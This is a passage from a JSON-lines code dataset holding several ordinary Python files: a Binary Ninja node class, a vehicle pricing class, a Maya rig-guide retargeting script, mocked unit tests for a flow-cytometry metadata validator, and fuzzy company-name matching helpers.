"ngi_pipeline.engines.sarek.exceptions.SampleNotValidForAnalysisError", "line_number": 160, "usage_type": "argument"}, {"api_name": "tempfile.mkdtemp", "line_number": 163, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 164, "usage_type": "call"}, {"api_name": "os.path", "line_number": 164, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 166, "usage_type": "call"}, {"api_name": "os.path", "line_number": 166, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 167, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 16, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 17, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 174, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 179, "usage_type": "call"}, {"api_name": "os.path", "line_number": 179, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 180, "usage_type": "call"}, {"api_name": "os.path", "line_number": 180, "usage_type": "attribute"}, {"api_name": "ngi_pipeline.log.loggers.minimal_logger", "line_number": 184, "usage_type": "call"}, {"api_name": "ngi_pipeline.tests.engines.sarek.test_launchers.TestLaunchers.get_NGIAnalysis", "line_number": 186, "usage_type": "call"}, {"api_name": "ngi_pipeline.tests.engines.sarek.test_launchers.TestLaunchers", "line_number": 186, "usage_type": "name"}, {"api_name": "ngi_pipeline.engines.sarek.models.sarek.SarekGermlineAnalysis", "line_number": 192, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 202, "usage_type": "call"}, {"api_name": "ngi_pipeline.engines.sarek.models.sample.SarekAnalysisSample", "line_number": 213, "usage_type": "call"}, {"api_name": "ngi_pipeline.engines.sarek.models.sample.SarekAnalysisSample", "line_number": 229, "usage_type": "call"}, {"api_name": "mock.patch.object", "line_number": 231, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 231, "usage_type": "attribute"}, {"api_name": "mock.patch.object", "line_number": 233, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 233, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 248, "usage_type": "call"}, {"api_name": "os.path", "line_number": 248, "usage_type": "attribute"}, {"api_name": "mock.patch.object", "line_number": 262, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 262, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 263, "usage_type": "call"}, {"api_name": "os.path", "line_number": 263, "usage_type": "attribute"}, {"api_name": "tempfile.mkstemp", "line_number": 268, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 269, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 274, "usage_type": "call"}, {"api_name": "os.path", "line_number": 274, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 278, "usage_type": "call"}, {"api_name": "os.path", "line_number": 278, "usage_type": "attribute"}, {"api_name": "ngi_pipeline.engines.sarek.models.sarek.SarekGermlineAnalysis.runid_and_fastq_files_from_tsv_file", "line_number": 283, "usage_type": "call"}, {"api_name": "ngi_pipeline.engines.sarek.models.sarek.SarekGermlineAnalysis", "line_number": 283, "usage_type": "name"}, {"api_name": "os.unlink", "line_number": 285, "usage_type": "call"}, {"api_name": "mock.patch.object", "line_number": 300, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 300, "usage_type": "attribute"}, {"api_name": "mock.patch", "line_number": 302, "usage_type": "call"}, {"api_name": "ngi_pipeline.engines.sarek.parsers.ParserIntegrator", "line_number": 303, "usage_type": "name"}, {"api_name": "mock.patch", "line_number": 170, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 171, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 172, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 173, "usage_type": "call"}]} {"seq_id": "272841410", "text": "from ...Types.PrimitiveTypes.Node import Node\nimport logging\nimport xxhash\n\n\nclass Operation(Node):\n allowed_parent_label = ['Expression', 'Instruction']\n logger = logging.getLogger(__name__)\n\n def __init__(self, bn_object, self_uuid, parent_uuid, parent_node_label, parent_node_hash):\n self.bn_operation_object = bn_object\n\n if parent_node_label in self.allowed_parent_label:\n super().__init__(self.get_hash(), self_uuid, parent_uuid, parent_node_label, 'Operation',\n parent_node_hash, {})\n else:\n self.logger.error(f'parent_node_label not allowed: {parent_node_label}')\n self.set_node_attributes()\n\n def get_hash(self):\n hash_digest = xxhash.xxh64()\n hash_digest.update(self.bn_operation_object.operation.name)\n return hash_digest.hexdigest()\n\n def set_node_attributes(self):\n node_attributes_dict = dict()\n node_attributes_dict.update({'Operation': self.bn_operation_object.operation})\n\n self.add_node_attributes(node_attributes_dict)\n\n def __str__(self):\n return super().__str__()\n", "sub_path": "Types/NodeLabels/Operation.py", "file_name": "Operation.py", "file_ext": "py", "file_size_in_byte": 1130, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "Types.PrimitiveTypes.Node.Node", "line_number": 6, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 8, "usage_type": "call"}, {"api_name": "xxhash.xxh64", "line_number": 21, "usage_type": "call"}]} {"seq_id": "17205349", "text": "from ClaseVehiculo import Vehiculo\r\nimport datetime\r\n\r\nclass Usado(Vehiculo):\r\n __marca=\"\"\r\n __patente=\"\"\r\n __año=\"\"\r\n __kilometraje=0\r\n\r\n def __init__(self, modelo, puertas, color, preciobase,marca,patente,año,kilometraje):\r\n super().__init__(modelo, puertas, color, preciobase)\r\n self.__marca=marca\r\n self.__patente=patente\r\n self.__año=año\r\n self.__kilometraje=kilometraje\r\n def getPatente(self):\r\n return self.__patente\r\n\r\n def getPuertas(self):\r\n return super().getPuertas()\r\n def getPrecioBase(self):\r\n return super().getPrecioBase()\r\n def getModelo(self):\r\n return super().getModelo()\r\n def getColor(self):\r\n return super().getColor()\r\n\r\n def toJson(self):\r\n d=dict(\r\n __class__=self.__class__.__name__,\r\n __atributos__=dict(\r\n modelo=self.getModelo(),\r\n puertas=self.getPuertas(),\r\n color=self.getColor(),\r\n preciobase=self.getPrecioBase(),\r\n marca=self.__marca,\r\n patente=self.__patente,\r\n año=self.__año,\r\n kilometraje=self.__kilometraje\r\n )\r\n )\r\n return d\r\n\r\n def CalcPrecioVenta(self):\r\n km=0\r\n antig=int(datetime.date.today().year) - int(self.__año)\r\n porc=float((super().getPrecioBase() * 1)/100)\r\n if(int(self.__kilometraje)>100000):\r\n km=float((super().getPrecioBase() * 2)/100)\r\n total=float(super().getPrecioBase())-porc-antig-km\r\n return total\r\n def __str__(self):\r\n super().__str__()\r\n print('Marca: {}'.format(self.__marca))\r\n print('Patente: {}'.format(self.__patente))\r\n print('Año: {}'.format(self.__año))\r\n print('Kilometros: {}'.format(self.__kilometraje))\r\n return \"\"", "sub_path": "Ejercicio6/ClaseUsado.py", "file_name": "ClaseUsado.py", "file_ext": "py", "file_size_in_byte": 1881, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "ClaseVehiculo.Vehiculo", "line_number": 4, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 46, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 46, "usage_type": "attribute"}]} {"seq_id": "497835230", "text": "# cmt\nfrom cmt.rig.meshretarget import *\nimport cmt.shortcuts as shortcuts\n\n# maya\nimport pymel.core as pm\nimport maya.api.OpenMaya as OpenMaya\nimport maya.cmds as cmds\n\n# numpy\nimport numpy as np\n\n# scipy\nfrom scipy.spatial.distance import cdist\n\n# \nimport math\nimport time\n\nguides = (\"body_C0_root\",\n\"shoulder_L0_root\",\n\"shoulder_R0_root\",\n\"shoulder_L0_tip\",\n\"shoulder_R0_tip\",\n\"arm_L0_elbow\",\n\"arm_R0_elbow\",\n\"arm_L0_wrist\",\n\"arm_R0_wrist\",\n\"arm_L0_eff\",\n\"arm_R0_eff\",\n\"meta_L0_root\",\n\"meta_R0_root\",\n\"meta_L0_0_loc\",\n\"meta_R0_0_loc\",\n\"meta_L0_1_loc\",\n\"meta_R0_1_loc\",\n\"meta_L0_2_loc\",\n\"meta_R0_2_loc\",\n\"thumbRoll_L0_root\",\n\"thumbRoll_R0_root\",\n\"thumb_L0_0_loc\",\n\"thumb_R0_0_loc\",\n\"thumb_L0_1_loc\",\n\"thumb_R0_1_loc\",\n\"thumb_L0_2_loc\",\n\"thumb_R0_2_loc\",\n\"finger_L0_root\",\n\"finger_R0_root\",\n\"finger_L0_0_loc\",\n\"finger_R0_0_loc\",\n\"finger_L0_1_loc\",\n\"finger_R0_1_loc\",\n\"finger_L0_2_loc\",\n\"finger_R0_2_loc\",\n\"finger_L1_root\",\n\"finger_R1_root\",\n\"finger_L1_0_loc\",\n\"finger_R1_0_loc\",\n\"finger_L1_1_loc\",\n\"finger_R1_1_loc\",\n\"finger_L1_2_loc\",\n\"finger_R1_2_loc\",\n\"finger_L2_root\",\n\"finger_R2_root\",\n\"finger_L2_0_loc\",\n\"finger_L2_0_loc\",\n\"finger_L2_1_loc\",\n\"finger_L2_1_loc\",\n\"finger_L2_2_loc\",\n\"finger_L2_2_loc\",\n\"finger_L3_root\",\n\"finger_L3_0_loc\",\n\"finger_L3_0_loc\",\n\"finger_L3_1_loc\",\n\"finger_L3_1_loc\",\n\"finger_L3_2_loc\",\n\"finger_L3_2_loc\",\n\"leg_L0_root\",\n\"leg_R0_root\",\n\"leg_L0_knee\",\n\"leg_R0_knee\",\n\"leg_L0_ankle\",\n\"leg_R0_ankle\",\n\"foot_L0_heel\",\n\"foot_R0_heel\",\n\"foot_L0_inpivot\",\n\"foot_R0_inpivot\",\n\"foot_L0_outpivot\",\n\"foot_R0_outpivot\",\n\"foot_L0_0_loc\",\n\"foot_R0_0_loc\",\n\"leg_L0_eff\",\n\"leg_R0_eff\",\n\"foot_L0_1_loc\",\n\"foot_R0_1_loc\",)\n\ndef retarget(source, target, rbf=None, radius=0.5, stride=1):\n \"\"\"Run the mesh retarget.\n :param source: Source mesh\n :param target: Modified source mesh\n :param shapes: List of meshes to retarget\n :param rbf: One of the RBF functions. See class RBF\n :param radius: Smoothing parameter for the rbf\n :param stride: Vertex stride to sample on the source mesh. Increase to speed up\n the calculation but less accurate.\n \"\"\"\n start_time = time.time()\n source_points = points_to_np_array(source, stride)\n target_points = points_to_np_array(target, stride)\n\n if rbf is None:\n rbf = RBF.linear\n weights = get_weight_matrix(source_points, target_points, rbf, radius)\n\n points = get_guide_points()\n n_points = points.shape[0]\n dist = get_distance_matrix(points, source_points, rbf, radius)\n identity = np.ones((n_points, 1))\n h = np.bmat([[dist, identity, points]])\n deformed = np.asarray(np.dot(h, weights))\n points = [OpenMaya.MPoint(*p) for p in deformed]\n set_guide_points(points)\n\n end_time = time.time()\n print(\"Transferred in {} seconds\".format(end_time - start_time))\n\n\ndef get_guide_points(stride=1):\n points = [ pm.xform(guide, query=True, translation=True, worldSpace=True) for guide in guides]\n sparse_points = [OpenMaya.MPoint(p) for p in points][::stride]\n np_points = np.array([[p.x, p.y, p.z] for p in sparse_points])\n return np_points\n\ndef set_guide_points(points):\n for index, point in enumerate(points):\n pm.xform(guides[index], translation=point, worldSpace=True)\n\nretarget(pm.ls(sl=1)[0], pm.ls(sl=1)[1])", "sub_path": "scripts/cwsmt/mgear/auto_guide.py", "file_name": "auto_guide.py", "file_ext": "py", "file_size_in_byte": 3255, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "time.time", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.bmat", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 120, "usage_type": "call"}, {"api_name": "maya.api.OpenMaya.MPoint", "line_number": 121, "usage_type": "call"}, {"api_name": "maya.api.OpenMaya", "line_number": 121, "usage_type": "name"}, {"api_name": "time.time", "line_number": 124, "usage_type": "call"}, {"api_name": "pymel.core.xform", "line_number": 129, "usage_type": "call"}, {"api_name": "pymel.core", "line_number": 129, "usage_type": "name"}, {"api_name": "maya.api.OpenMaya.MPoint", "line_number": 130, "usage_type": "call"}, {"api_name": "maya.api.OpenMaya", "line_number": 130, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 131, "usage_type": "call"}, {"api_name": "pymel.core.xform", "line_number": 136, "usage_type": "call"}, {"api_name": "pymel.core", "line_number": 136, "usage_type": "name"}, {"api_name": "pymel.core.ls", "line_number": 138, "usage_type": "call"}, {"api_name": "pymel.core", "line_number": 138, "usage_type": "name"}]} {"seq_id": "497831965", "text": "from nose.tools import assert_true\nimport os\nimport mock\nimport jsonbender\nfrom validate.miflowcyt_validate import FlowRepoClient\n\nmap_file = os.path.join(os.path.dirname(__file__),\n \"../tests/data/MiFlowCyt/experiment_mapping.json\")\nbase_schema = \"experiment_schema.json\"\nrange_limit = 1\n\n\nclass TestFlowRepoClient(object):\n\n @classmethod\n def setup_class(cls):\n cls.client = FlowRepoClient(map_file, base_schema, \"this is a fake ID\")\n cls.mock_request_patcher = mock.patch('validate.miflowcyt_validate.requests.request')\n cls.mock_request = cls.mock_request_patcher.start()\n\n cls.mock_xmljson_patcher = mock.patch('validate.miflowcyt_validate.xmljson.parker.data')\n cls.mock_xmljson = cls.mock_xmljson_patcher.start()\n\n cls.mock_etree_patcher = mock.patch('validate.miflowcyt_validate.elemTree.fromstring')\n cls.mock_etree = cls.mock_etree_patcher.start()\n\n @classmethod\n def teardown_class(cls):\n cls.mock_request_patcher.stop()\n cls.mock_xmljson_patcher.stop()\n cls.mock_etree_patcher.stop()\n\n def test_get_mapping(self):\n mapping = self.client.get_mapping(map_file)\n assert_true(isinstance(mapping['date'], jsonbender.selectors.OptionalS))\n assert_true(isinstance(mapping['keywords'], jsonbender.selectors.OptionalS))\n assert_true(isinstance(mapping['other'], jsonbender.selectors.OptionalS))\n assert_true(isinstance(mapping['primaryContact'], jsonbender.selectors.S))\n assert_true(isinstance(mapping['organization'], jsonbender.selectors.F))\n assert_true(isinstance(mapping['purpose'], jsonbender.selectors.OptionalS))\n assert_true(isinstance(mapping['qualityControlMeasures'], jsonbender.selectors.OptionalS))\n assert_true(isinstance(mapping['conclusions'], jsonbender.selectors.K))\n assert_true(isinstance(mapping['experimentVariables'], jsonbender.selectors.OptionalS))\n\n map_file_error = os.path.join(os.path.dirname(__file__),\n \"../tests/data/MiFlowCyt/_mapping.json\")\n error = self.client.get_mapping(map_file_error)\n assert_true(isinstance(error, Exception))\n\n def test_grab_user_content(self):\n self.mock_request.return_value.status_code = 200\n response = self.client.grab_user_content(self.client.clientID)\n assert_true(response.status_code == 200)\n\n def test_get_user_content_id(self):\n self.mock_request.return_value.status_code = 200\n self.mock_xmljson.return_value = {\n \"public-experiments\": {\n \"experiment\": [\n {\"id\": \"123\"},\n {\"id\": \"456\"}\n ]\n }\n }\n ids = self.client.get_user_content_id(self.client.clientID)\n assert_true('123' in ids)\n assert_true('456' in ids)\n\n def test_grab_experiment_from_api(self):\n self.mock_request.return_value.status_code = 200\n item_metadata = self.client.grab_experiment_from_api(self.client.clientID, \"123\")\n assert_true(item_metadata.status_code == 200)\n\n self.mock_request.return_value.status_code = 404\n item_metadata = self.client.grab_experiment_from_api(self.client.clientID, \"123\")\n assert_true(item_metadata.status_code == 404)\n\n def test_validate_instance_from_file(self):\n validation = self.client.validate_instance_from_file({\"test\": \"test\"}, \"test\",\n \"test.test\")\n assert_true(isinstance(validation, Exception))\n\n def test_make_validation(self):\n self.mock_request.return_value.status_code = 401\n validation = self.client.make_validation(1)\n assert_true(isinstance(validation, Exception))\n", "sub_path": "tests/test_miflowcyt_validate.py", "file_name": "test_miflowcyt_validate.py", "file_ext": "py", "file_size_in_byte": 3795, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.join", "line_number": 7, "usage_type": "call"}, {"api_name": "os.path", "line_number": 7, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 7, "usage_type": "call"}, {"api_name": "validate.miflowcyt_validate.FlowRepoClient", "line_number": 17, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 18, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 21, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 24, "usage_type": "call"}, {"api_name": "nose.tools.assert_true", "line_number": 35, "usage_type": "call"}, {"api_name": "jsonbender.selectors", "line_number": 35, "usage_type": "attribute"}, {"api_name": "nose.tools.assert_true", "line_number": 36, "usage_type": "call"}, {"api_name": "jsonbender.selectors", "line_number": 36, "usage_type": "attribute"}, {"api_name": "nose.tools.assert_true", "line_number": 37, "usage_type": "call"}, {"api_name": "jsonbender.selectors", "line_number": 37, "usage_type": "attribute"}, {"api_name": "nose.tools.assert_true", "line_number": 38, "usage_type": "call"}, {"api_name": "jsonbender.selectors", "line_number": 38, "usage_type": "attribute"}, {"api_name": "nose.tools.assert_true", "line_number": 39, "usage_type": "call"}, {"api_name": "jsonbender.selectors", "line_number": 39, "usage_type": "attribute"}, {"api_name": "nose.tools.assert_true", "line_number": 40, "usage_type": "call"}, {"api_name": "jsonbender.selectors", "line_number": 40, "usage_type": "attribute"}, {"api_name": "nose.tools.assert_true", "line_number": 41, "usage_type": "call"}, {"api_name": "jsonbender.selectors", "line_number": 41, "usage_type": "attribute"}, {"api_name": "nose.tools.assert_true", "line_number": 42, "usage_type": "call"}, {"api_name": "jsonbender.selectors", "line_number": 42, "usage_type": "attribute"}, {"api_name": "nose.tools.assert_true", "line_number": 43, "usage_type": "call"}, {"api_name": "jsonbender.selectors", "line_number": 43, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 45, "usage_type": "call"}, {"api_name": "nose.tools.assert_true", "line_number": 48, "usage_type": "call"}, {"api_name": "nose.tools.assert_true", "line_number": 53, "usage_type": "call"}, {"api_name": "nose.tools.assert_true", "line_number": 66, "usage_type": "call"}, {"api_name": "nose.tools.assert_true", "line_number": 67, "usage_type": "call"}, {"api_name": "nose.tools.assert_true", "line_number": 72, "usage_type": "call"}, {"api_name": "nose.tools.assert_true", "line_number": 76, "usage_type": "call"}, {"api_name": "nose.tools.assert_true", "line_number": 81, "usage_type": "call"}, {"api_name": "nose.tools.assert_true", "line_number": 86, "usage_type": "call"}]} {"seq_id": "550333654", "text": "#!/usr/bin/env python3\r\nimport jellyfish as jf\r\nfrom fuzzywuzzy import fuzz as fwf\r\nimport re\r\nfrom bisect import bisect_left\r\n\r\nleven = jf.levenshtein_distance\r\n\r\n# takes uppercase string returns it with abbreviations expanded\r\ndef expandAbbreviations(str):\r\n words = str.split()\r\n for i in range(len(words)):\r\n w = words[i]\r\n if w in [\"PVT\", \"(P)\"]:\r\n w = \"PRIVATE\"\r\n elif w in [\"LTD\", \"LT\"]:\r\n w = \"LIMITED\"\r\n elif w in [\"GOV\", \"GOVT\"]:\r\n w = \"GOVERNMENT\"\r\n elif w in [\"COOP\"]:\r\n w = \"COOPERATIVE\"\r\n elif w in [\"CO\"]:\r\n w = \"CORPORATION\"\r\n # elif w in [\"LLC\"]:\r\n # w = \"LIMITED LIABILITY COMPANY\"\r\n elif w == \"&\":\r\n w = \"AND\"\r\n words[i] = w\r\n return \" \".join(words)\r\n\r\n\r\n# takes uppercase string returns it with words hashed\r\ndef hashAbbreviations(str):\r\n str = str.replace('WOUND UP', 'WOUNDUP')\r\n str = re.sub(r'PV$', r'PRIVATE', str)\r\n words = str.split()\r\n for i in range(len(words)):\r\n w = words[i]\r\n if w in [\"PVT\", \"PRIVATE\", \"(P)\", \"PRIVAT\", \"PTE\", \"PV\"]:\r\n w = \"#PRIVATE\"\r\n elif w in [\"LTD\", \"LT\", \"LIMITED\", \"(L)\", \"LIM\", \"LIMI\", \"LIMITE\"]:\r\n w = \"#LIMITED\"\r\n elif w in [\"GOV\", \"GOVT\", \"GOVERNMENT\", \"(G)\"]:\r\n w = \"#GOVERNMENT\"\r\n elif w in [\"COOP\", \"COOPERATIVE\"]:\r\n w = \"#COOPERATIVE\"\r\n elif w in [\"CO\", \"CORPORATION\", \"(C)\", \"CORPN\"]:\r\n w = \"#CORPORATION\"\r\n elif w in [\"MANAGEMENT\", \"MGMT\"]:\r\n w = \"#MANAGEMENT\"\r\n elif w in [\"ORG\", \"ORGANISATION\", \"ORGANIZATION\"]:\r\n w = \"#ORGANIZATION\"\r\n elif w in [\"(INDUSTRIES)\", \"(INDUSTREIS)\", \"INDUSTRIES\", \"INDUSTREIS\", \"INDUSTRY\", \"INDS\"]:\r\n w = \"#INDUSTRIES\"\r\n elif w in [\"INTNL\", \"INTERNATIONAL\", \"INTERNATIO\"]:\r\n w = \"#INTERNATIONAL\"\r\n elif w in [\"INFRA\", \"INFRASTRUCTURE\"]:\r\n w = \"#INFRASTRUTURE\"\r\n elif w in [\"(INDIA)\", \"INDIA\", \"INDIA\", \"(I)\"]:\r\n w = \"#INDIA\"\r\n # need logic for llc\r\n # elif w in [\"LIMITED LIABILITY COMPANY\"]:\r\n # w = \"LLC\"\r\n elif w in [\"(MERGED)\", \"MERGED\"]:\r\n w = \"#MERGED\"\r\n elif w in [\"(WOUNDUP)\", \"(WOUND-UP)\", \"(WOUND)\", \"[WOUNDUP]\", \"WOUNDUP\", \"WOUND-UP\", \"(WOUNDUP)\"]:\r\n w = \"#WOUNDUP\"\r\n elif w in [\"INVESTMENT\", \"INVESTMENTS\", \"INV\", \"INVMTS\", \"INVESMENTS\", \"INVESTMEN\", \"INVESTMES\"]:\r\n w = \"#INVESTMENT\"\r\n elif w in [\"FERTILIZER\", \"FERTILISER\", \"FERTILIZERS\", \"FERTILISERS\", \"FERTILIZE\", \"FERTILIZ\", \"FERTILISE\", \"FERTILIZE\", \"FERTLISE\", \"FERTLIZE\"]:\r\n w = \"#FERTILIZER\"\r\n elif w == \"&\":\r\n w = \"#AND\"\r\n elif w == \"THE\":\r\n w = \"#THE\"\r\n words[i] = w\r\n return \" \".join(words)\r\n\r\n\r\ndef processString(str):\r\n str = str.replace('.', ' ')\r\n str = re.sub(r\"[ ]?\\([ ]?\", \" (\", str)\r\n str = re.sub(r\"[ ]?\\)[ ]?\", \") \", str)\r\n str = str.replace(\"&\", \" & \")\r\n str = str.replace(\".\", \". \")\r\n str = re.sub(\"\\s\\s+\", \" \", str)\r\n str = str.strip()\r\n str = re.sub(r'\\(.*?\\)', lambda x: ''.join(x.group(0).split()), str)\r\n str = re.sub(r'(.)\\1+', r'\\1', str)\r\n str = str.upper()\r\n str = hashAbbreviations(str)\r\n str = str.replace('-', '')\r\n str = str.replace('(', '')\r\n str = str.replace(')', '')\r\n return str\r\n\r\n\r\ndef hashed(s):\r\n return s.startswith('#')\r\n\r\n\r\n# prototype definition\r\ndef removeHashNSpace(str, hashOnly=False):\r\n str = re.sub(re.compile(r\"\\#\\w+\"), \"\", str)\r\n str = re.sub(\"\\s\\s+\", \" \", str)\r\n str = str.strip()\r\n if not hashOnly:\r\n str = str.replace(\" \", \"\")\r\n return str\r\n\r\n\r\ndef wordLevensteinFraction(str1, str2, index, countHashed=True):\r\n # need error handling when word not found\r\n if countHashed:\r\n w1 = str1.split(\" \", index + 1)[index]\r\n w2 = str2.split(\" \", index + 1)[index]\r\n else:\r\n w1 = [s for s in str1.split(\" \") if not hashed(s)][index]\r\n w2 = [s for s in str2.split(\" \") if not hashed(s)][index]\r\n return (1 - jf.levenshtein_distance(w1, w2) / max(len(w1), len(w2)))\r\n\r\n\r\ndef stringLevensteinFraction(s1, s2, recogHash=False):\r\n if recogHash:\r\n s1 = removeHashNSpace(s1)\r\n s2 = removeHashNSpace(s2)\r\n s1 = s1.replace(\" \", \"\")\r\n s2 = s2.replace(\" \", \"\")\r\n return (1 - jf.levenshtein_distance(s1, s2) / max(len(s1), len(s2)))\r\n\r\n\r\n# w = [\"a\", \"b\", \"c\"]\r\n# l = len(w)\r\n# n = fact(l+1)\r\n# [math.log(x, n) for x in range(2, l+2)]\r\n# def fact(n):\r\n# return 1 if n<2 else n*fact(n-1)\r\ndef wordwiseJaroWinkler(str1, str2):\r\n w1 = str1.split()\r\n w2 = str2.split()\r\n if len(w1) >= len(w2):\r\n max_w = w1\r\n min_w = w2\r\n else:\r\n max_w = w2\r\n min_w = w1\r\n minlen = len(min_w)\r\n maxlen = len(max_w)\r\n result = 0\r\n last_m = 0\r\n for i, u in enumerate(max_w):\r\n max_mat = 0\r\n for j, v in enumerate(min_w[last_m:]):\r\n mat = jf.jaro_winkler(u, v)\r\n if max_mat < mat:\r\n max_mat = mat\r\n val = min(i, j)\r\n if mat == 1.0:\r\n last_m = j\r\n break\r\n result += (maxlen - val) * mat / maxlen\r\n return result / minlen + ((minlen - 1) * minlen) / (2 * minlen * maxlen)\r\n\r\n\r\ndef wordSetLevenstein(s1, s2, quick=False, part=True, recogHash=True):\r\n t1 = set(s1.split())\r\n t2 = set(s2.split())\r\n l_tmx = max(len(t1), len(t2))\r\n intn = t1.intersection(t2)\r\n ifrac = len(intn) / l_tmx\r\n # short circuit\r\n if quick and ifrac < 0.2:\r\n return ifrac\r\n d1 = sorted(t1.difference(intn))\r\n d2 = sorted(t2.difference(intn))\r\n if len(d1) < len(d2):\r\n dmax = d2\r\n dmin = d1\r\n else:\r\n dmax = d1\r\n dmin = d2\r\n if dmax == 0:\r\n return ifrac\r\n m = [max([stringLevensteinFraction(x, y) for x in dmax]) for y in dmin]\r\n h = len([s for s in dmax if hashed(s)]) if recogHash else 0\r\n n = 1 if recogHash else 0\r\n ln = (len(dmax) - h)\r\n if ln == 0:\r\n ln = 1\r\n if len(m) > 0:\r\n d_pts = sum(m) / ln\r\n elif part:\r\n def strLenSum(strLst):\r\n return sum(len(s) for s in strLst)\r\n l_str_tmx = max(map(strLenSum, (t1, t2)))\r\n d_pts = (strLenSum(intn) + n) / (l_str_tmx + h)\r\n else:\r\n d_pts = 0\r\n # print(s1, l_tmx, len(intn), len(dmax), len(dmin), sum(m), d_pts, h)\r\n return ifrac + d_pts * len(dmax) / l_tmx\r\n# probably also need a word sequence leven\r\n\r\n\r\ndef fstwtdsetL(s1, s2):\r\n wsl = wordSetLevenstein(s1, s2)\r\n wlf1 = wordLevensteinFraction(s1, s2, 0)\r\n slf = stringLevensteinFraction(s1, s2, True)\r\n return wlf1 * 0.15 + wsl * 0.6 + 0.25 * slf\r\n\r\n\r\n# limit -1 is for not limiting the output\r\ndef getMatches(str, chs=[], fn=wordSetLevenstein, cutoff=0.75, limit=1, max_exact=1, ifzip=True):\r\n result = list()\r\n scores = list()\r\n indices = list()\r\n got_exact = 0\r\n i_cs = chs.items() if isinstance(chs, dict) else enumerate(chs)\r\n for i, ch in i_cs:\r\n score = fn(str, ch)\r\n if score < cutoff:\r\n continue\r\n # assuming ascending order sorted\r\n x = bisect_left(scores, score)\r\n scores.insert(x, score)\r\n result.insert(x, ch)\r\n indices.insert(x, i)\r\n # print(scores)\r\n if limit != -1:\r\n scores = scores[-limit:]\r\n result = result[-limit:]\r\n if score == 1:\r\n got_exact += 1\r\n if got_exact == max_exact:\r\n break\r\n if ifzip:\r\n return list(zip(result, scores, indices))[::-1]\r\n else:\r\n return (result[::-1], scores[::-1], indices[::-1])\r\n\r\n\r\ndef spacelessPartialMatch(s1, s2):\r\n s1 = s1.replace(' ', '')\r\n s2 = s2.replace(' ', '')\r\n return fwf.partial_ratio(s1, s2) == 100\r\n\r\n\r\ndef compare(s1, s2, checkCT = 1):\r\n w1 = s1.split(\" \")\r\n w2 = s2.split(\" \")\r\n # if len(w1) == 0 or len(w2)==0:\r\n # print(w1, w2)\r\n # elif len(w1[0][0])==0 or len(w2[0][0])==0:\r\n # print(w1, w2)\r\n if len(w1) < len(w2):\r\n wmin = w1\r\n wmax = w2\r\n else:\r\n wmin = w2\r\n wmax = w1\r\n j = 1\r\n i = 0\r\n CT = consecutiveTranspositions\r\n flag = False\r\n # special case - need another flag for atleast 1 exact match\r\n flag_atleast_once = False\r\n while i < len(wmin):\r\n if i == 0:\r\n if CT(wmin[i], wmax[i], 1) or (wmin[i][0] == wmax[i][0] and (len(wmin[i]) == 1 or len(wmax[i]) == 1)):\r\n # print(wmin[0][0], wmax[0][0], (wmin[0][0] == wmax[0][0]))\r\n if not flag_atleast_once and CT(wmin[i], wmax[i], 1):\r\n flag_atleast_once = True\r\n i += 1\r\n continue\r\n # might get extra correct but may be error rate may increase\r\n elif wmin[i][0] == wmax[i][0] and fwf.partial_ratio(wmin[i], wmax[i])==100 and (len(wmin[i]) > 1 and len(wmax[i]) > 1):\r\n # print(s1, s2)\r\n i += 1\r\n continue\r\n else:\r\n return False\r\n flag = False\r\n while j < len(wmax):\r\n try:\r\n if CT(wmin[i], wmax[j], 1) or (wmin[i][0] == wmax[j][0] and (len(wmin[i]) == 1 or len(wmax[j]) == 1 or fwf.partial_ratio(wmin[i], wmax[j])==100)):\r\n if not flag_atleast_once and CT(wmin[i], wmax[i], 1):\r\n flag_atleast_once = True\r\n flag = True\r\n j += 1\r\n break\r\n else:\r\n j += 1\r\n except Exception as e:\r\n print(\"Got issue\", str(e), wmin, wmax, wmin[i], wmax[j])\r\n exit(0)\r\n if not flag and j == len(wmax) and i < len(wmin):\r\n return False\r\n i += 1\r\n # print(i, j, flag)\r\n if not flag_atleast_once:\r\n return False\r\n return True\r\n\r\n\r\ndef consecutiveTranspositions(s1, s2, ct=1):\r\n l1, l2 = len(s1), len(s2)\r\n ls2 = list(s2)\r\n if l1 != l2:\r\n return False\r\n for m in range(l1):\r\n if s1[m] != 